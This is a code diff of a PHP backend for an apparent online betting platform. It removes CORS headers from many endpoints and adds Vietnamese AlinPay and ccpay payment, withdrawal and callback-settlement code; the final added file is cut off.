$startTime = mktime(0,0,0,date('m'),date('d')-1,date('Y')); $startTime = mktime(0,0,0,date('m'),date('d')-1,date('Y'));
$endTime = mktime(0,0,0,date('m'),date('d'),date('Y'))-1; $endTime = mktime(0,0,0,date('m'),date('d'),date('Y'))-1;
}elseif($time_interval == 3){ }elseif($time_interval == 3){
$startTime = mktime(0,0,0,date("m"),date("d")-date("w")+1,date("Y")); $startTime = mktime(0,0,0,date("m"),date("d")-6,date("Y"));
$endTime = mktime(23,59,59,date("m"),date("d")-date("w")+7,date("Y")); $endTime = mktime(23,59,59,date("m"),date("d"),date("Y"));
} }
$betWhere = array(); $betWhere = array();
$betWhere['create_time'] = array('between',[$startTime,$endTime]); $betWhere['create_time'] = array('between',[$startTime,$endTime]);
@@ -2303,9 +2282,6 @@ class Pcapi extends Controller{
} }
//上下分记录 //上下分记录
public function recharge_record(){ public function recharge_record(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
if(Request::instance()->isPost()){ if(Request::instance()->isPost()){
$json_arr = decrypt_data(Request::instance()->post()); $json_arr = decrypt_data(Request::instance()->post());
if($json_arr){ if($json_arr){
@@ -2325,8 +2301,8 @@ class Pcapi extends Controller{
$startTime = mktime(0,0,0,date('m'),date('d')-1,date('Y')); $startTime = mktime(0,0,0,date('m'),date('d')-1,date('Y'));
$endTime = mktime(0,0,0,date('m'),date('d'),date('Y'))-1; $endTime = mktime(0,0,0,date('m'),date('d'),date('Y'))-1;
}elseif($time_interval == 3){ }elseif($time_interval == 3){
$startTime = mktime(0,0,0,date("m"),date("d")-date("w")+1,date("Y")); $startTime = mktime(0,0,0,date("m"),date("d")-6,date("Y"));
$endTime = mktime(23,59,59,date("m"),date("d")-date("w")+7,date("Y")); $endTime = mktime(23,59,59,date("m"),date("d"),date("Y"));
} }
$betWhere = array(); $betWhere = array();
$betWhere['create_time'] = array('between',[$startTime,$endTime]); $betWhere['create_time'] = array('between',[$startTime,$endTime]);
@@ -2372,9 +2348,6 @@ class Pcapi extends Controller{
} }
//上下分记录 //上下分记录
public function tip_record(){ public function tip_record(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
if(Request::instance()->isPost()){ if(Request::instance()->isPost()){
$json_arr = decrypt_data(Request::instance()->post()); $json_arr = decrypt_data(Request::instance()->post());
if($json_arr){ if($json_arr){
@@ -2393,8 +2366,8 @@ class Pcapi extends Controller{
$startTime = mktime(0,0,0,date('m'),date('d')-1,date('Y')); $startTime = mktime(0,0,0,date('m'),date('d')-1,date('Y'));
$endTime = mktime(0,0,0,date('m'),date('d'),date('Y'))-1; $endTime = mktime(0,0,0,date('m'),date('d'),date('Y'))-1;
}elseif($time_interval == 3){ }elseif($time_interval == 3){
$startTime = mktime(0,0,0,date("m"),date("d")-date("w")+1,date("Y")); $startTime = mktime(0,0,0,date("m"),date("d")-6,date("Y"));
$endTime = mktime(23,59,59,date("m"),date("d")-date("w")+7,date("Y")); $endTime = mktime(23,59,59,date("m"),date("d"),date("Y"));
} }
$betWhere = array(); $betWhere = array();
$betWhere['create_time'] = array('between',[$startTime,$endTime]); $betWhere['create_time'] = array('between',[$startTime,$endTime]);
@@ -2434,9 +2407,6 @@ class Pcapi extends Controller{
} }
//开结果后获取会员的下注信息及计算其输赢数目 //开结果后获取会员的下注信息及计算其输赢数目
public function user_bet_baccarat(){ public function user_bet_baccarat(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
if(Request::instance()->isPost()){ if(Request::instance()->isPost()){
$json_arr = decrypt_data(Request::instance()->post()); $json_arr = decrypt_data(Request::instance()->post());
if($json_arr){ if($json_arr){
@@ -2593,9 +2563,6 @@ class Pcapi extends Controller{
} }
//开结果后获取会员的下注信息及计算其输赢数目 //开结果后获取会员的下注信息及计算其输赢数目
public function user_bet_dt(){ public function user_bet_dt(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
if(Request::instance()->isPost()){ if(Request::instance()->isPost()){
$json_arr = decrypt_data(Request::instance()->post()); $json_arr = decrypt_data(Request::instance()->post());
if($json_arr){ if($json_arr){
@@ -2684,9 +2651,6 @@ class Pcapi extends Controller{
//开结果后获取会员的下注信息及计算其输赢数目 //开结果后获取会员的下注信息及计算其输赢数目
public function user_bet_nn(){ public function user_bet_nn(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
if(Request::instance()->isPost()){ if(Request::instance()->isPost()){
$json_arr = decrypt_data(Request::instance()->post()); $json_arr = decrypt_data(Request::instance()->post());
if($json_arr){ if($json_arr){
@@ -2719,9 +2683,6 @@ class Pcapi extends Controller{
} }
//开结果后获取会员的下注信息及计算其输赢数目 //开结果后获取会员的下注信息及计算其输赢数目
public function user_bet_tc(){ public function user_bet_tc(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
if(Request::instance()->isPost()){ if(Request::instance()->isPost()){
$json_arr = decrypt_data(Request::instance()->post()); $json_arr = decrypt_data(Request::instance()->post());
if($json_arr){ if($json_arr){
@@ -2754,9 +2715,6 @@ class Pcapi extends Controller{
} }
//开结果后获取会员的下注信息及计算其输赢数目 //开结果后获取会员的下注信息及计算其输赢数目
public function user_bet_toning(){ public function user_bet_toning(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
if(Request::instance()->isPost()){ if(Request::instance()->isPost()){
$json_arr = decrypt_data(Request::instance()->post()); $json_arr = decrypt_data(Request::instance()->post());
if($json_arr){ if($json_arr){
@@ -2788,9 +2746,6 @@ class Pcapi extends Controller{
} }
//开结果后获取会员的下注信息及计算其输赢数目 //开结果后获取会员的下注信息及计算其输赢数目
public function user_bet_dice(){ public function user_bet_dice(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
if(Request::instance()->isPost()){ if(Request::instance()->isPost()){
$json_arr = decrypt_data(Request::instance()->post()); $json_arr = decrypt_data(Request::instance()->post());
if($json_arr){ if($json_arr){
@@ -2821,9 +2776,6 @@ class Pcapi extends Controller{
} }
} }
public function user_bet_roulette(){ public function user_bet_roulette(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
if(Request::instance()->isPost()){ if(Request::instance()->isPost()){
$json_arr = decrypt_data(Request::instance()->post()); $json_arr = decrypt_data(Request::instance()->post());
if($json_arr){ if($json_arr){
@@ -2855,9 +2807,6 @@ class Pcapi extends Controller{
} }
//快速提现 //快速提现
public function show_withdrawal(){ public function show_withdrawal(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
if(Request::instance()->isPost()){ if(Request::instance()->isPost()){
$json_arr = decrypt_data(Request::instance()->post()); $json_arr = decrypt_data(Request::instance()->post());
if($json_arr){ if($json_arr){
@@ -2885,9 +2834,6 @@ class Pcapi extends Controller{
} }
//确认提现 //确认提现
public function withdrawal(){ public function withdrawal(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
if(Request::instance()->isPost()){ if(Request::instance()->isPost()){
$json_arr = decrypt_data(Request::instance()->post()); $json_arr = decrypt_data(Request::instance()->post());
if($json_arr){ if($json_arr){
@@ -2968,9 +2914,6 @@ class Pcapi extends Controller{
} }
//充值信息 //充值信息
public function show_recharge(){ public function show_recharge(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
if(Request::instance()->isPost()){ if(Request::instance()->isPost()){
$json_arr = decrypt_data(Request::instance()->post()); $json_arr = decrypt_data(Request::instance()->post());
if($json_arr){ if($json_arr){
@@ -3007,9 +2950,6 @@ class Pcapi extends Controller{
} }
//确认充值 //确认充值
public function recharge(){ public function recharge(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
if(Request::instance()->isPost()){ if(Request::instance()->isPost()){
$json_arr = decrypt_data(Request::instance()->post()); $json_arr = decrypt_data(Request::instance()->post());
if($json_arr){ if($json_arr){
@@ -3066,9 +3006,6 @@ class Pcapi extends Controller{
} }
//游戏记录 //游戏记录
public function get_rob_bet(){ public function get_rob_bet(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
if(Request::instance()->isPost()){ if(Request::instance()->isPost()){
$json_arr = decrypt_data(Request::instance()->post()); $json_arr = decrypt_data(Request::instance()->post());
if($json_arr){ if($json_arr){
@@ -3284,9 +3221,6 @@ class Pcapi extends Controller{
//电话呼入 //电话呼入
public function online_call(){ public function online_call(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
$phone = Request::instance()->post('phone'); $phone = Request::instance()->post('phone');
if($phone){ if($phone){
$table_info = Db::name('table')->where('phone',$phone)->find(); $table_info = Db::name('table')->where('phone',$phone)->find();
@@ -3316,9 +3250,6 @@ class Pcapi extends Controller{
* DateTime: 2019/12/12 12:53 * DateTime: 2019/12/12 12:53
*/ */
public function doRegister(){ public function doRegister(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST');
if($data = Request::instance()->post()){ if($data = Request::instance()->post()){
$data = decrypt_data($data); $data = decrypt_data($data);
$username = isset($data['username'])?$data['username']:''; $username = isset($data['username'])?$data['username']:'';
@@ -3432,7 +3363,7 @@ class Pcapi extends Controller{
$insertData['price_tc_hjths'] = $agentParent['price_tc_hjths']; $insertData['price_tc_hjths'] = $agentParent['price_tc_hjths'];
$insertData['area_id'] = $agentParent['area_id']; $insertData['area_id'] = $agentParent['area_id'];
$insertData['bet_type'] = 3; $insertData['bet_type'] = 1;
$insertData['reg_time'] = time(); $insertData['reg_time'] = time();
if(getIp()){ if(getIp()){
@@ -3647,7 +3578,7 @@ class Pcapi extends Controller{
$insertData['price_tc_ths'] = $agentParent['price_tc_ths']; $insertData['price_tc_ths'] = $agentParent['price_tc_ths'];
$insertData['price_tc_hjths'] = $agentParent['price_tc_hjths']; $insertData['price_tc_hjths'] = $agentParent['price_tc_hjths'];
$insertData['area_id'] = $agentParent['area_id']; $insertData['area_id'] = $agentParent['area_id'];
$insertData['bet_type'] = 3; $insertData['bet_type'] = 1;
$insertData['reg_time'] = time(); $insertData['reg_time'] = time();
if(getIp()){ if(getIp()){
@@ -3672,9 +3603,6 @@ class Pcapi extends Controller{
//登录 //登录
public function lineLogin(){ public function lineLogin(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
if(Request::instance()->isPost()){ if(Request::instance()->isPost()){
$json_arr = decrypt_data(Request::instance()->post()); $json_arr = decrypt_data(Request::instance()->post());
if($json_arr){ if($json_arr){
@@ -3747,9 +3675,6 @@ class Pcapi extends Controller{
} }
public function app_entrance(){ public function app_entrance(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
if(Request::instance()->isPost()){ if(Request::instance()->isPost()){
$entrance = array(); $entrance = array();
$entrance['HallUrl'] = HallUrl; $entrance['HallUrl'] = HallUrl;
@@ -3765,9 +3690,6 @@ class Pcapi extends Controller{
} }
//api用户通过接口获取铺信息 //api用户通过接口获取铺信息
public function api_get_info(){ public function api_get_info(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
if(Request::instance()->isPost()){ if(Request::instance()->isPost()){
$appId = intval(Request::instance()->post("appId")); $appId = intval(Request::instance()->post("appId"));
$nonceStr = trim(Request::instance()->post("nonceStr")); $nonceStr = trim(Request::instance()->post("nonceStr"));
@@ -3816,9 +3738,6 @@ class Pcapi extends Controller{
// 用户充值记录 // 用户充值记录
public function user_recharge() public function user_recharge()
{ {
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
if(Request::instance()->isPost()) { if(Request::instance()->isPost()) {
$json_arr = decrypt_data(Request::instance()->post()); $json_arr = decrypt_data(Request::instance()->post());
if ($json_arr) { if ($json_arr) {
@@ -3854,9 +3773,6 @@ class Pcapi extends Controller{
// 用户提现记录 // 用户提现记录
public function user_withdraw() public function user_withdraw()
{ {
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
if(Request::instance()->isPost()) { if(Request::instance()->isPost()) {
$json_arr = decrypt_data(Request::instance()->post()); $json_arr = decrypt_data(Request::instance()->post());
if ($json_arr) { if ($json_arr) {
@@ -3892,9 +3808,6 @@ class Pcapi extends Controller{
//申请提现 //申请提现
public function apply_withdraw(){ public function apply_withdraw(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
if(Request::instance()->isPost()){ if(Request::instance()->isPost()){
$json_arr = decrypt_data(Request::instance()->post()); $json_arr = decrypt_data(Request::instance()->post());
if($json_arr){ if($json_arr){
@@ -3917,7 +3830,7 @@ class Pcapi extends Controller{
$system = Db::name('system')->find(); $system = Db::name('system')->find();
$money = $user['money']; $money = $user['money'];
$withdrawMoney = empty($system['withdraw_money']) ? 100 : $system['withdraw_money']; $withdrawMoney = empty($system['withdraw_money']) ? 100 : $system['withdraw_money'];
$withdrawFee = empty($system['withdraw_fee']) ? 1 : $system['withdraw_fee']; $withdrawFee = empty($system['withdraw_fee']) ? 0 : $system['withdraw_fee'];
// 计算积分兑换 // 计算积分兑换
$amountMoney = $withdrawMoney/100*($amount); $amountMoney = $withdrawMoney/100*($amount);
@@ -3966,11 +3879,118 @@ class Pcapi extends Controller{
} }
// 申请银行卡提现(越南AlinPay)
public function apply_withdraw_bank(){
if(Request::instance()->isPost()){
$json_arr = decrypt_data(Request::instance()->post());
if($json_arr){
$userId = intval($json_arr['user_id']);
$amount = floatval($json_arr['amount']);
$accountName = trim($json_arr['account_name'] ?? '');
$accountNumber = trim($json_arr['account_number'] ?? '');
$bankCode = trim($json_arr['bank_code'] ?? '');
$bankName = trim($json_arr['bank_name'] ?? '');
if(!$amount || $amount <= 0){
return json(array('Success' => 0, 'Msg' => 'Số tiền rút không hợp lệ'));
}
if(empty($accountName)){
return json(array('Success' => 0, 'Msg' => 'Tên tài khoản không được để trống'));
}
if(empty($accountNumber)){
return json(array('Success' => 0, 'Msg' => 'Số tài khoản không được để trống'));
}
if(empty($bankName)){
return json(array('Success' => 0, 'Msg' => 'Tên ngân hàng không được để trống'));
}
$user = Db::name('user')->where(array('id' => $userId))->find();
if($user){
Db::startTrans();
$user = Db::name('user')->where(array('id' => $userId))->lock(true)->find();
$system = Db::name('system')->find();
$money = $user['money'];
$withdrawMoney = empty($system['withdraw_money']) ? 100 : $system['withdraw_money'];
$withdrawFee = empty($system['withdraw_fee']) ? 0 : $system['withdraw_fee'];
// 计算积分兑换
$amountMoney = $withdrawMoney/100*($amount);
$feeMoney = $withdrawMoney/100*($withdrawFee);
$needMoney = $amountMoney + $feeMoney;
if($needMoney > $money){
Db::rollback();
return json(array('Success' => 0, 'Msg' => 'Số dư không đủ'));
}
$afterMoney = $money - $needMoney;
// 银行卡信息存入ext
$ext = json_encode([
'accountName' => $accountName,
'accountNumber' => $accountNumber,
'bankCode' => $bankCode,
'bankName' => $bankName,
], JSON_UNESCAPED_UNICODE);
// 写入提现申请
$res = Db::name('user_withdraw')->insert([
'order_no' => createOrderNo('TX'),
'user_id' => $userId,
'amount' => $amount,
'money' => $amountMoney,
'old_money' => $money,
'new_money' => $afterMoney,
'service_fee' => $withdrawFee,
'service_fee_money' => $feeMoney,
'withdraw_rate' => $withdrawFee,
'to_address' => $accountNumber,
'pay_channel' => 'ALIN_VN',
'ext' => $ext,
'create_time' => time()
]);
if(!$res){
Db::rollback();
return json(array('Success' => 0, 'Msg' => 'Thao tác thất bại'));
}
// 扣除用户余额
$res = Db::name('user')->where('id',$userId)->update([
'money' => $afterMoney,
'update_time' => time()
]);
if(!$res){
Db::rollback();
return json(array('Success' => 0, 'Msg' => 'Thao tác thất bại'));
}
Db::commit();
return json(array('Success' => 1, 'Msg' => 'Thành công, vui lòng chờ xử lý'));
}else{
return json(array('Success' => 0, 'Msg' => 'Lấy thông tin thất bại'));
}
}
}
}
// 获取越南银行列表
public function get_bank_list_vn(){
$banks = \pay\AlinPay::getBankCodes();
$list = [];
foreach($banks as $index => $name){
if(!empty($name)){
$list[] = [
'code' => $name,
'name' => $name,
];
}
}
$data = encrypt_data(['status' => 1, 'data' => $list]);
return json(array('Success' => 1, 'Data' => $data));
}
// 取消提现 // 取消提现
public function cancel_withdraw(){ public function cancel_withdraw(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
if(Request::instance()->isPost()){ if(Request::instance()->isPost()){
$json_arr = decrypt_data(Request::instance()->post()); $json_arr = decrypt_data(Request::instance()->post());
if($json_arr) { if($json_arr) {
@@ -4026,9 +4046,6 @@ class Pcapi extends Controller{
*/ */
public function deposit() public function deposit()
{ {
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
if(Request::instance()->isPost()){ if(Request::instance()->isPost()){
$json_arr = decrypt_data(Request::instance()->post()); $json_arr = decrypt_data(Request::instance()->post());
if($json_arr) { if($json_arr) {
@@ -4090,9 +4107,6 @@ class Pcapi extends Controller{
*/ */
public function get_free_seat(){ public function get_free_seat(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
if(Request::instance()->isPost()){ if(Request::instance()->isPost()){
$json_arr = decrypt_data(Request::instance()->post()); $json_arr = decrypt_data(Request::instance()->post());
if($json_arr) { if($json_arr) {
@@ -4134,11 +4148,6 @@ class Pcapi extends Controller{
* 无需鉴权,游客可访问 * 无需鉴权,游客可访问
*/ */
public function get_lobby_data(){ public function get_lobby_data(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE,OPTIONS');
header('Access-Control-Max-Age: 86400');
// 处理 OPTIONS 预检请求 // 处理 OPTIONS 预检请求
if(Request::instance()->isOptions()){ if(Request::instance()->isOptions()){
return response('', 200); return response('', 200);
@@ -0,0 +1,316 @@
<?php
namespace app\onlinechip\controller\traits;
use think\Db;
use think\Log;
use think\Request;
/**
* AlinPay 越南支付 Trait
* 仅包含代收(充值)相关方法
* 代付回调在 Crypto.php 中处理
*/
trait alinPay
{
/**
* 越南代收 - 发起充值
*/
public function alin_online_order()
{
// 兼容加密请求(Pcapi)和明文请求(Order)
$post = Request::instance()->post();
if (isset($post['encryptData'])) {
$post = decrypt_data($post);
if (!$post) {
return json(['status' => 0, 'message' => '数据解密失败']);
}
}
$user_id = intval($post['user_id'] ?? 0);
$money = intval($post['price'] ?? 0);
$client = intval($post['client'] ?? 0);
$username = trim($post['username'] ?? '');
$user = Db::name('user')->where([
'id' => $user_id,
'status' => 1,
'is_delete' => 0,
'agent' => 0,
])->find();
if (!$user || $user_id <= 0 || $money <= 0 || $client <= 0) {
return json(['status' => 0, 'message' => '参数错误,请稍后再试']);
}
// 判断地区支线权限
$zdlIdArr = explode(',', $user['agent_parent_id_path']);
$area_list = config('area_list');
if (!isset($area_list[$user['area_id']])) {
return json(['status' => 0, 'message' => '所在地区暂不支持充值']);
}
$limitAgents = $area_list[$user['area_id']]['limit_agent'];
$isAllow = empty($limitAgents);
foreach ($limitAgents as $allowAgentId) {
if (in_array($allowAgentId, $zdlIdArr)) {
$isAllow = true;
}
}
if (!$isAllow) {
return json(['status' => 0, 'message' => '该账号暂不支持在线充值']);
}
// 验证总代理余额
$zdlId = $zdlIdArr[0];
$zdl = Db::name('user')->where([
'id' => $zdlId,
'status' => 1,
'is_delete' => 0,
'agent' => 1,
])->find();
if (!$zdl) {
return json(['status' => 0, 'message' => '所属代理账号异常,暂不能充值']);
}
if ($zdl['money'] < $money) {
return json(['status' => 0, 'message' => '所属代理余额不足,暂不能充值']);
}
$pay_list = config('pay_list');
$pay_orderid = 'E' . date("YmdHis") . rand(100000, 999999);
$notify_url = $pay_list['alinPay']['notify_url'];
try {
$alinPay = new \pay\AlinPay();
$result = $alinPay->createOrder($pay_orderid, sprintf('%.2f', $money), $notify_url, 'uid:' . $user_id);
// 空响应处理(curl失败/DNS/超时等)
if (!is_array($result)) {
addLogToFile('代收下单:API无响应或返回非JSONresult=' . var_export($result, true), 'alin_error', 'alin');
$data = encrypt_data(['status' => 0, 'message' => '支付通道无响应,请稍后再试']);
return json(array('Success' => 1, 'Data' => $data));
}
if (isset($result['code']) && $result['code'] == 200) {
$returnUrl = $result['data']['url'] ?? '';
if (!$returnUrl) {
$data = encrypt_data(['status' => 0, 'message' => '支付地址获取失败']);
return json(array('Success' => 1, 'Data' => $data));
}
// 记录订单
$order_record = [
'pay_channel_id' => 7,
'pay_channel_name' => 'alinPay',
'user_id' => $user_id,
'order_sn' => $pay_orderid,
'appid' => $alinPay->getConfigInfo()['app_id'],
'api_key' => '',
'money' => $money,
'sign' => '',
'create_time' => time(),
'back_order_sn' => '',
'client' => $client,
];
$order_id = Db::name('order_record')->insertGetId($order_record);
// 记录日志
Db::name('order_log')->insert([
'pay_channel_id' => 7,
'pay_channel_name' => 'alinPay',
'money' => $money,
'create_time' => time(),
'remake' => 'user_id:' . $user_id . ',用户名:' . $username . ',发起充值:' . $money . ',充值时间:' . date('Y-m-d H:i:s'),
'order_id' => $order_id,
'client' => $client,
]);
$data = encrypt_data(['status' => 1, 'message' => '发起支付成功,即将跳转...', 'url' => $returnUrl]);
return json(array('Success' => 1, 'Data' => $data));
} else {
$errMsg = isset($result['message']) ? $result['message'] : '未知错误(code=' . ($result['code'] ?? 'null') . ')';
addLogToFile('代收下单失败:' . json_encode($result, JSON_UNESCAPED_UNICODE), 'alin_error', 'alin');
$data = encrypt_data(['status' => 0, 'message' => '支付发起失败:' . $errMsg]);
return json(array('Success' => 1, 'Data' => $data));
}
} catch (\Exception $e) {
addLogToFile('代收下单异常:' . $e->getMessage() . ' | file:' . $e->getFile() . ':' . $e->getLine(), 'alin_error', 'alin');
$data = encrypt_data(['status' => 0, 'message' => '支付发起失败[' . $e->getMessage() . ']']);
return json(array('Success' => 1, 'Data' => $data));
}
}
/**
* 越南代收 - 回调处理
*/
public function alin_recharge_callback()
{
$post = Request::instance()->post();
$json = json_encode($post, JSON_UNESCAPED_UNICODE);
addLogToFile('代收回调原始数据:' . $json, 'alin_callback', 'alin');
if (!is_array($post) || empty($post['out_trade_no']) || empty($post['sign'])) {
Log::record($post, 'alin_error_callback');
exit('fail');
}
// 记录回调日志
$logId = Db::name('pay_callback_log')->insertGetId([
'pay_channel' => 'ALIN_RECHARGE',
'type' => 'recharge',
'json' => $json,
'create_time' => date('Y-m-d H:i:s'),
]);
try {
$alinPay = new \pay\AlinPay();
$result = $alinPay->verifyRechargeCallback($post, $logId);
if (!$result['verified']) {
exit('fail');
}
$tradeStatus = $result['trade_status'];
// trade_status: 1=成功, -1=处理中, 2=失败
if ($tradeStatus === 1) {
$this->alin_recharge_settle($post);
exit('success');
} elseif ($tradeStatus === 2) {
// 失败,终态,确认收到
addLogToFile('代收回调失败:order=' . $post['out_trade_no'], 'alin_callback', 'alin');
exit('success');
} else {
// 处理中(-1),不返回success让网关重试
exit('fail');
}
} catch (\Exception $e) {
addLogToFile('代收回调处理异常:' . $e->getMessage(), 'alin_callback_error', 'alin');
exit('fail');
}
}
/**
* 代收成功后结算(事务保护:扣代理、写recharge表、加用户余额)
*/
private function alin_recharge_settle($data)
{
$orderNo = $data['out_trade_no'];
Db::startTrans();
try {
// 加锁读取订单,防止重复处理
$order = Db::name('order_record')->where('order_sn', $orderNo)->lock(true)->find();
if (!$order || $order['status'] == 3) {
Db::rollback();
return;
}
// 加锁读取用户
$user = Db::name('user')->where([
'id' => $order['user_id'],
'status' => 1,
'is_delete' => 0,
'agent' => 0,
])->lock(true)->find();
if (!$user) {
Db::rollback();
return;
}
$zdlIdArr = explode(',', $user['agent_parent_id_path']);
$zdlId = $zdlIdArr[0];
// 加锁读取总代理
$zdl = Db::name('user')->where([
'id' => $zdlId,
'status' => 1,
'is_delete' => 0,
'agent' => 1,
])->lock(true)->find();
if (!$zdl || $zdl['money'] < $order['money']) {
Db::rollback();
addLogToFile('代收结算失败:代理余额不足 order=' . $orderNo, 'alin_callback_error', 'alin');
return;
}
// 1. 更新订单状态为已完成
Db::name('order_record')->where('id', $order['id'])->update([
'back_money' => $data['real_amount'] ?: $data['amount'],
'back_time' => time(),
'status' => 3,
'agent_parent_id' => $user['agent_parent_id'],
'agent_parent_username' => $user['agent_parent_username'],
'zdl_id' => $zdl['id'],
'zdl_username' => $zdl['username'],
'zdl_money_before' => $zdl['money'],
'zdl_money_after' => $zdl['money'] - $order['money'],
'money_before' => $user['money'],
'money_after' => $user['money'] + $order['money'],
]);
// 2. 记录日志
Db::name('order_log')->insert([
'pay_channel_id' => 7,
'pay_channel_name' => 'alinPay',
'money' => $order['money'],
'create_time' => time(),
'remake' => '回调支付成功',
'order_id' => $order['id'],
]);
// 3. 写recharge流水表
Db::name('recharge')->insert([
'type' => 4,
'amount' => $order['money'],
'mode' => 1,
'agent_or_admin' => 3,
'controller_id' => $zdl['id'],
'controller_username' => $zdl['username'],
'controller_nickname' => $zdl['nickname'],
'controller_type' => '越南第三方充值平台充值,扣取总代理余分',
'controller_old_money' => $zdl['money'],
'controller_new_money' => $zdl['money'] - $order['money'],
'user_id' => $order['user_id'],
'user_type' => $user['agent'],
'user_agent_level' => 0,
'username_for' => $user['username'],
'nickname_for' => $user['nickname'],
'user_parent_id' => $user['agent_parent_id'],
'create_time' => time(),
'old_money' => $user['money'],
'new_money' => $user['money'] + $order['money'],
'controller_system' => 3,
'remake' => '越南AlinPay第三方充值成功',
]);
// 4. 扣代理余额
Db::name('user')->where('id', $zdl['id'])->update([
'money' => $zdl['money'] - $order['money'],
'last_recharge_out' => $order['money'],
'last_recharge_out_time' => time(),
'recharge_out_count' => $zdl['recharge_out_count'] + 1,
'recharge_out_total_amount' => $zdl['recharge_out_total_amount'] + $order['money'],
]);
// 5. 给用户加余额
Db::name('user')->where('id', $order['user_id'])->update([
'money' => $user['money'] + $order['money'],
'last_recharge' => $order['money'],
'last_recharge_time' => time(),
'recharge_count' => $user['recharge_count'] + 1,
'recharge_total_amount' => $user['recharge_total_amount'] + $order['money'],
]);
Db::commit();
addLogToFile('代收结算成功:order=' . $orderNo . ' money=' . $order['money'], 'alin_callback', 'alin');
} catch (\Exception $e) {
Db::rollback();
addLogToFile('代收结算异常:' . $e->getMessage(), 'alin_callback_error', 'alin');
}
}
}
@@ -0,0 +1,412 @@
<?php
namespace app\onlinechip\controller\traits;
use think\Db;
use think\Log;
use think\Request;
trait ccpayPay
{
public function ccpay_online_order()
{
$post = Request::instance()->post();
if (isset($post['encryptData'])) {
$post = decrypt_data($post);
if (!$post) {
$data = encrypt_data(['status' => 0, 'message' => 'Dữ liệu không hợp lệ']);
return json(['Success' => 1, 'Data' => $data]);
}
}
$user_id = intval($post['user_id'] ?? 0);
$money = intval($post['price'] ?? 0);
$client = intval($post['client'] ?? 0);
$username = trim($post['username'] ?? '');
